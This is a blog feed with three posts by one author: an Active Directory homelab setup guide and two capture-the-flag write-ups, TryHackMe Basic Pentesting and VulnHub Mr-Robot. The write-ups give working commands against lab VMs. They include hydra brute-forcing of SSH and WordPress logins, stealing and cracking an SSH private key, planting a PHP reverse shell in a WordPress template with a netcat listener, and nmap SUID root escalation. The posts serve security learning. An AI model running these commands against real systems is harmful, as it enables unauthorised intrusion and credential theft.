DEV Community: Dylan Nguyen

Active Directory Homelab

Dylan Nguyen — Wed, 22 Nov 2023 00:45:57 +0000

Active Directory HomeLab

This project is a walkthrough of how I created an Active Directory homelab environment in VirtualBox using PowerShell, Active Directory, Windows 11, and MS Server 2019. The network consists of two VM's (virtual machines) where one will be the DC (domain controller) and the other is a client machine. I will have Active Directory (AD) installed on the DC and will generate 1000 randomized users in AD, which can be used to log into the client machine once the domain is set up and the client is properly added. This lab is a simulation of an enterprise network environment, so there will be some configurations that optimize for time and should not be included in a production-enterprise environment.

Downloads

Network Diagram

I will reference this diagram for the project configurations

Creating the domain controller

The first virtual machine will function as our domain controller and will require two network adapters. After creating our machine, using the Server 2019 ISO, we will configure the network adapters. In the VM's Settings > Network page, leave Adapter 1 with the default NAT configuration. Enable Adapter 2 and set Attached to: Internal Network.

After completing the network adapter configuration, we will need to complete the initial setup of Windows Server 2019 on our DC.

After initial setup is completed, we need to configure the network adapters in OS. We can identify which one is going to be the internal adapter by checking the IPv4 addresses their respective connection details.

The one with 10.0.2.15 IPv4 is our internet facing adapter, whereas the other is our internal one since the IPv4 is autoconfigured, so we can now label them as INTERNET and X_Internal_X respectively.

Renaming them will be easier for the configuration we'll be doing throughout the project.

Setting up IP addressing

Now we will be setting up the IP addressing for our internal adapter with the following configuration:

IP address: 172.16.0.1
Subnet mask: 255.255.255.0
Default gateway: . . .
Preferred DNS server: 127.0.0.1

Note: When we install AD, we will configure the DC to use itself as the primary DNS server, so that's why we have a loopback IP, 127.0.0.1 in the Preferred DNS Server field.

Last thing is to rename the PC to DC and restart before we install our Active Directory Domain Services.

Install Active Directory Domain Services

After booting back into the DC, I install Active Directory Domain Services:

https://github.com/dmnuggins/Active-Directory-HomeLab/assets/7257923/082ac489-242e-4b72-b908-5e54bae02b4f

Promote the server to domain controller

Now to promote our server to a domain controller. This will auto restart the VM after the wizard completes the promotion.

https://github.com/dmnuggins/Active-Directory-HomeLab/assets/7257923/c446b041-bfa6-4a16-a55f-343f4f7f574d

Upon next login, we see that our VM is now part of MYDOMAIN.

Instead of the default Administrator account, I create my own domain admin account and promote it to Domain Admins.

https://github.com/dmnuggins/Active-Directory-HomeLab/assets/7257923/4d9df50a-8ba2-42f8-afb3-2a14ffe2bf90

RAS / NAT

Now to configure RAS/NAT to allow our client VM that is on the virtual private network to access the internet through the domain controller.

https://github.com/dmnuggins/Active-Directory-HomeLab/assets/7257923/88d1f4da-40c4-4d80-aead-edcdf1a5d037

Setup DHCP server

Doing this will allow our Windows 11 client to be auto assigned an IP address and allow our client to browse the internet, even though the VM is on a virtual private network.

https://github.com/dmnuggins/Active-Directory-HomeLab/assets/7257923/457afa12-5791-48ec-bbeb-18927daaaa74

After installation, it's time to configure the DHCP and setup a scope. Again, the purpose of DHCP is to allow clients on the network to automatically be assigned an IP address. Referencing our network diagram, I will create a scope that will give IP addresses in a range of 172.16.0.100-200, so a range of 100 addresses that the DHCP server can give out. The DHCP lease time will be kept at the default 8 days. If this were a cafe, for example, I would want to probably use a lease period of 2hrs, since new clients will be logging into our wifi network frequently. We don't want to lock out IP address with a long lease time like 20 days. If we did that, we'll run out of IP's if the new client connection volume exceeds our IP cycle rate set by the DHCP lease time. This effectively prevents new clients from connecting to the internet through our network, since new IP's cannot be assigned. A better solution for the cafe situation would be to have a large IP range with short DHCP lease time. However, we are working with a homelab setup, so the default values will work fine for this situation.

https://github.com/dmnuggins/Active-Directory-HomeLab/assets/7257923/00275584-d3db-490d-bd82-3df7d0e7ff2e

Config to allow us to browse internet from domain controller

In order to get the powershell script from the internet and execute it on our domain controller, we'll need to do some more confiruation. We need to disable the IE Enhanced Security Config setting in our domain controller.

https://github.com/dmnuggins/Active-Directory-HomeLab/assets/7257923/f3b11a94-b2a4-4d58-a472-14478c12fccb

With the IE security feature disabled, we can download the script to the server here.

Powershell script to create 1000 users

Once we've downloaded and extracted the script files, we're ready to run it using PowerShell ISE in administrator mode to create our users. Before running the script though, open the text file, we'll add our first and last name to the names.txt file, just to make it easy to remember for when we log into the client computer after we're done with our server.

By default Windows won't allow us to execute unknown scripts from the internet, so we need to enable execution of our script by running the following command: Set-ExecutionPolicy Unrestricted and then click "Yes to All".

Now, we run the script. There will be some visible errors during execution, but that's because of duplicates in the names.txt file, which shouldn't mess with the script's execution.

https://github.com/dmnuggins/Active-Directory-HomeLab/assets/7257923/704967d1-2018-4636-9c76-121bf38d4908

Confirming our users have been created in AD:

https://github.com/dmnuggins/Active-Directory-HomeLab/assets/7257923/0efe3457-81bf-40a1-9260-87733b9c8cf2

And we're done with our domain controller setup.

Setup client virtual machine

Finally we can create our client machine, which will act as a user in our domain we created. We will call our machine CLIENT1. This will simulate an employee machine on our domain.

We'll set our network adapter to the internal network we configured when initally setting up our domain controller:

On initial setup, we can name our computer CLIENT, so when we get to the desktop, all we need to do is add our computer to our domain and authenticate the change with our domain admin credentials

Let's logout and log in as our generate user dnguyen.

After a successful login, let's run whoami to confirm my domain\user.

Let's ping google.com to confirm we have access to the internet and for good measure, we can ping our domain: mydomain.com

Back on our DC, we can take a look in our DHCP > dc.mydomai.com > IPv4 > Address Leases to see our client machine listed with its unique IP in our defined scope.

We can also confirm in Active Directory > mydomain.com > Computers that our client is listed there as well.

And success, that is the end of the lab! 🙌

Returning to the roots

Dylan Nguyen — Mon, 20 Nov 2023 06:40:28 +0000

Basic Pentesting

It has been a minute since my first CTF, Mr Robot, so I wanted to ease back into it with TryHackMe's Basic Pentesting CTF.

The goal of this VM is to remotely attack the VM and gain elevated privileges and we will track our progress by answering the questions from TryHackMe.

Configuration

I'll be using a Kali Linux VM attack the VM in this CTF through the OpenVPN connection configured to connect our Kali machine to TryHackMe.

Let's start hacking!

After configuring our connection and deploying our machine, well need to...

Find the services exposed by the machine: This is the initial reconnaissance to see what we can get started with. Using nmap, we'll check for any open ports or services. Let's run the following command: nmap <MACHINE IP>

Looks like there are a number of services running, but the ones we should keep an eye out for are ssh, http, netbios-ssn, and microsoft-ds.

What is the name of the hidden directory on the web server(enter name without /)? There are a few tools we can use to find the hidden directory (gobuster, ffuf, dirb). In this box, I decided to use ffuf and run the following command: ffuf -w /usr/share/wordlists/dirb/common.txt -u http://<MACHINE IP>/FUZZ -c

There are a plethora of wordlists, but I am using common.txt because it contains names of common URL directories/paths and fits our needs at the moment. Note, that regardless of the tool, using the right wordlist is key to a quick enumeration.

We see there is a hidden directory: /development. When we open the directory in our browser, we see 2 files:

The dev.txt appear to be message logs between "K" and "J". It's noted that Apache is being used and SMB has been configured. A possible vector here, but let's evaluate the other file before we jump in.

The j.txt appears to be memo from "K", warning "J" that their hash was very easy to crack. With that in mind, if we find "J's" full username, we can probably crack their password without too much resistance.

User brute-forcing to find the username & password. Remember earlier how we noted SMB was configured? We have just the tool that interacts with the SMB protocol, enum4linux. It will be used to enumerate any potential users on the target system. Let's run the following command: enum4linux -a 10.10.169.3 | tee enum4linux.log

What is the username? We can correlate the results of the enumeration to conlude that jan is the username.

Referencing back to our previous clue that "J" has weak credentials, we'll use their username to brute force a password.

What is the password? We'll use hydra to brute force the password by running the following command: hydra -l jan -P Desktop/wordlists/rockyou.txt ssh://<MACHINE_IP> -I

After the hydra completes it execution, we our credentials:

username: jan
password: armando

What service do you use to access the server? We'll be using SSH to login with jan's credentials: ssh jan@<MACHINE_IP>

After logging in, we kind of poke around a bit. We see that shadow folder referenced in the chat logs...

Testing if we can use sudo to run any commands with elevated privileges...

...doesn't look like it...

Let’s check back to our other user kay to see if we can find anything in their home directory...

Oh? We see a pass.bak file that look s like a potential lead, but permissions only allow kay read and write access. Will need to get kay credentials and ssh as kay in order to access that file.

Enumerate the machine to find any vectors for privilege escalation: A way we can automate this process is by running LinPEAS (Linux Privilege Escalation Awesome Script). LinPEAS will search for possible paths to escalate privileges on the host machine.

Next step is to install LinPEAS onto our local attack machine and then upload it to our target machine using SCP with the following command: scp /path/to/linpeas/linpeas.sh jan@<MACHINE_IP>:/specific/path/on/machine

Let's verify that the file has been transferred and ensure the executable bit is enabled.

Now we run LinPEAS with this command: ./linpeas.sh | tee linlog.txt

After LinPEAS is was done executing, and with a look through the potential vector ouput, we find that we have a private key file that appears to be in the kay user directory, which we could use to login as kay!

══╣ Possible private SSH keys were found!
/home/kay/.ssh/id_rsa

There appears to be a possible vector with a private SSH key found in the /home/kay/.ssh directory. Let's try navigating to the directory...

Navigation successful, and from the listed permissions, we should be able to read the private key!

cat and extract the id_rsa private key

We'll save it to our local attack machine using nano → kay_id_rsa and setting chmod 600 (read only setting).

What is the name of the other user you found? From our earlier enumeration, we can confirm that kay is the other username.

If you have found another user, what can you do with this information? See if there are any privilege escalation vectors that might be associated with this other user, kay, which we achieved with LinPEAS in the last section.

Now, let’s try logging into kay:

Unfortunately, the private key is passphrase protected, but that shouldn't be too much trouble for our good friend, JtR (John the Ripper). JtR is a password cracking tool which we will use to crack the passphrase for our private key. First we'll need to extract the hash values from the private key with ssh2john:

This will allow us to pass the hash to John The Ripper to crack it using the wordlist rockyou.txt.

And boom, we have our private key passphrase: beeswax. Let's try logging in as kay one more time:

Let's see that what's in kay's home directory.

What is the final password you obtain? And after a quick cat, we have our final password:heresareallystrongpasswordthatfollowsthepasswordpolicy$$

Conclusion

Overall, the Basic Pentesting CTF was not too difficult, but complex enough to where it tests my baseline knowledge of what tools to use in the appropriate scenario. Another CTF under the belt and more tools for the utility belt to crack the next one. Happy hacking!👾

Mr-Robot (not the show...kind of)

Dylan Nguyen — Wed, 04 Oct 2023 19:56:12 +0000

Hello world! Today I'll be detailing the steps I took to hack VulnHub's Mr-Robot: 1 VM, created by Leon Johnson. The VM has three keys hidden in different locations and my goal is to find all three.

Configuration

I'll be using a Kali Linux VM to attack Mr-Robot: 1, which we will refer to as "target" throughout the write-up. Both machines are set up on Oracle VM VirtualBox and their networks are set to the Host Only Network.

Let's start hacking!

Where is Key 1?

First we will need to do a little reconnaissance, so let's start with figuring out our target's IP address.

To do that, we'll check my Kali machine's address using the command ip address.

With our IP, 192.168.56.104 perform a network scan and check the full range of IP's for our target address with the following command:

nmap -oX nmap_scan.xml 192.168.56.0/24

After a quick check of each IP on the nmap report, we see our target is on 192.168.56.103:

Enumeration

There are tools like dirb that we can use to recon any potential subdirectories of the main host address, but this method was exhaustive and can take some time. To be efficient with our time, let's manually check some common subdirectories and see if we can get a lead:

Possible there might be instructions on 192.168.56.103/readme...

...rude that it's not willing to help us with the hack.

How about 192.168.56.103/license...

...ummm, language.

Could see if it's a WordPress (WP) site with 192.168.56.103/wp-login...

...looks like we got ourselves a WP site. Let's try the default admin & password attack, see if we can get in.

...hmmm, doesn't look like we can get in. Noting the error message, it's prompted because of invalid username. So if we enter the correct username, would it prompt us with “Invalid password” instead? 👀

We'll circle back to the WP login later...

What about 192.168.56.103/robot.txt, which is a file used for site indexing...

...and luckily enough, there's key-1-of-3.txt, our 1st key! ✅

Where is Key 2?

As we saw earlier, there is a WP site we can try logging into, but of course, can't login without the right username & password.

Using WPScan, we can try to find any valid users:

wpscan --url http://192.168.56.103/wp-login.php —enumerate u

...but from the looks of it, nothing substantial, except maybe the WordPress version, which seems exploitable.

There was that fsocity.dic file we found earlier, maybe there's a lead there? A quick cat it seems to be a long list of "random" words...

...that we can use for possible username and password combinations!

Brute forcing username & password

There are a few tools that we can use to brute force the WP login:

Now remember that word list fsocity.dic? Yeah, that one file has 858,160 words...

...and if we use fsocity.dic as a wordlist for the cracking tool parameters, it's going to take a long while to brute force 858,160 potential username/password combos.

If we remove any duplicates and sort the wordlist, we could optimize the time it would take to brute force (TL;DR: shorter list, faster time to crack):

type fsocity.dic | sort | uniq > sorted_uniq_fsocity.txt

With that one command, we were able to reduce the word count to 11,452. Now to get crackin'!

Burp Suite

Using Burp Suite, we can configure the attack to use fsocity.dic as the word list parameter to brute force the username.

Looking at the length of each response, most are pretty consistent when erroring out, but scrolling not too far down to Elliot, we see the response is 4164 instead of the usual 4114. In the Rendered response, we see that the error message shows that the password entered for Elliot is incorrect, which from our previous observation about error messages us to conclude that Elliot is a valid user.

If we used the sorted list, it ideally would've shortened the brute force time execution. However, because it’s also sorted it could take longer to see the target response, especially if the right credential is last on the word list.

Considering how long it might take to use Burp Suite to brute force the password (since this is a Community version of Burp), we’ll move on with another tool, Hydra.

Hydra

Using Hydra, we're able to brute force a valid login, when using the original fsocity.dic and an arbitrary password test:

hydra -V -L ./fsocity.dic -p test 192.168.56.103 http-post-form "/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In&redirect_to=http%3A%2F%2F192.168.56.103%2Fwp-admin%2F&testcookie=1:Invalid username"

Again, it was fairly quick since the username Elliot was right near the top. But if we were to used the sorted, unique version of fsocity.dic, it would've taken up to attempt 5,488 of 11,452 in order to get the username:

After username, now we can brute force the password with username elliot, and here we'll use our duplicate-removed and sorted version of our wordlist sorted_uniq_fsocity.dic:

hydra -V -l elliot -P ./sorted_uniq_fsocity.dic 192.168.56.103 http-post-form "/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In&redirect_to=http%3A%2F%2F192.168.56.103%2Fwp-admin%2F&testcookie=1:incorrect"

WPScan

Note, with WPScan, since we were unable to enumerate any valid users with our preliminary scan, we'll have to rely on the previously mentioned tools (Burp & Hydra) to find the username first.

Once found, we can then use WPScan as an alternative to brute force the password like so:

wpscan -t 10000 -U Elliot -P fsocity.dic --url http://192.168.56.103/

So of the three tools, Hydra was most ideal with its quick execution time with this particular machine config. If circumstances were different, maybe users were enumerated or we were using the full Burp Suite version, the other tools would've been better for the job.

username: Elliot
password: ER28-0652

Now that we have our valid credentials, let's login to the WP site!

Running reverse shell on target

Our next moves are going to see if we can run reverse shell from pentestmonkey by inserting it into the 404.php file of the WP site.

Will need to switch network back to Bridge Adapter in order to download the reverse shell, and then switch back to Host Only Adapter to reconnect with the target.

To download the reverse shell onto Kali machine:

wget "http://pentestmonkey.net/tools/php-reverse-shell/php-reverse-shell-1.0.tar.gz"

Extract it, then go into php-reverse-shell.php file using vim and replace the $ip value with your attacking machine IP: 192.168.56.104. And change the port to a “cool” number: 4242

Copy the php-reverse-shell.php code and paste it into Appearance > Editor > 404 Template and update the file.

Using NetCat, we set up a listener on port 4242 with command: nc -lnvp 4242

Open new terminal:

curl -X POST http://192.168.56.103/404.php
# This will send a POST request to the 404.php page

Can also send a POST request on web browser → http://102.168.56.103/flaskdjhflakjsdhf. This will trigger a 404 page, and therefore request will trigger the reverse shell.

Bam, we have our reverse shell!

Now we want to have interactive control over the target, so let's run bin/bash

python -c "import pty; pty.spawn('/bin/bash')"

Enumeration

Now that we have our "shell in a shell", let's see what we can literally "find" the 2nd key, assuming it is in the same format as the 1st one:

find / -name "key-2-of-3.txt"

Look like we got a hit on the key: /home/robot/key-2-of-3.txt

We navigate to our target directory /home/robot. Once there, we do an ls -l and confirm the 2nd key. Then we try to cat it to double check, but looks like our current privileges don’t allow us to access said file.

Looks like it can only be accessed by the robot user, but we don’t have a password. We do have a password.raw-md5 file that appears to be accessible to our current access level.

If we cat it, it looks like an md5 hash, which was obviously not hinted at by the file name raw-md5 👀.

So let’s see if we can decrypt it by sending it to our good friend the CrackStation.

Considering the context clues of the password.raw-md5 file and its contents, we've just found the password to the robot user.

Note, that if we weren't already running a PTY terminal, we'll need to run python -c "import pty; pty.spawn('/bin/bash')" in order to execute the su robot commmand:

So after a quick su robot and authorization with our decrypted credentials, we are able to cat the key-2-of-3.txt file and obtain the 2nd key! ✅

Where is Key 3?

Thinking of next steps, logically it would make sense to escalate permissions either up or across to other users who have access to files that we don't have access to (aka escalated to robot when we were daemon@linux in the shell). We'll need to find any files with the SUID permission set that we can exploit.

We can run the following to do just that:

find / -perm /4000 -type f 2>/tmp/2

Hmmm, looking at the files with SUID set...passwd seems like a potential lead…

Interesting, why would WP have an nmap directory? 👀

Exploit/escalate permissions to root

On GTFOBins it looks like nmap is a Unix binary we can exploit to escalate our privileges. As detailed on the repo, we'll need to run the following commands to spawn an interactive system shell:

nmap --interactive
!sh

Run whoami to confirm root privileges.

Navigate to /root, do a quick ls and there is key-3-of-3.txt, our final key! ✅

Conclusion

Overall, this was a fun challenge for my first exercise in cybersecurity. I was focused on exploring different approaches to find each key, so I can be more aware of my toolkit and future methodology. It was definitely not quick to finish the CTF, but I learned a lot in doing so.

Until the next time, happy hacking! ✌🏻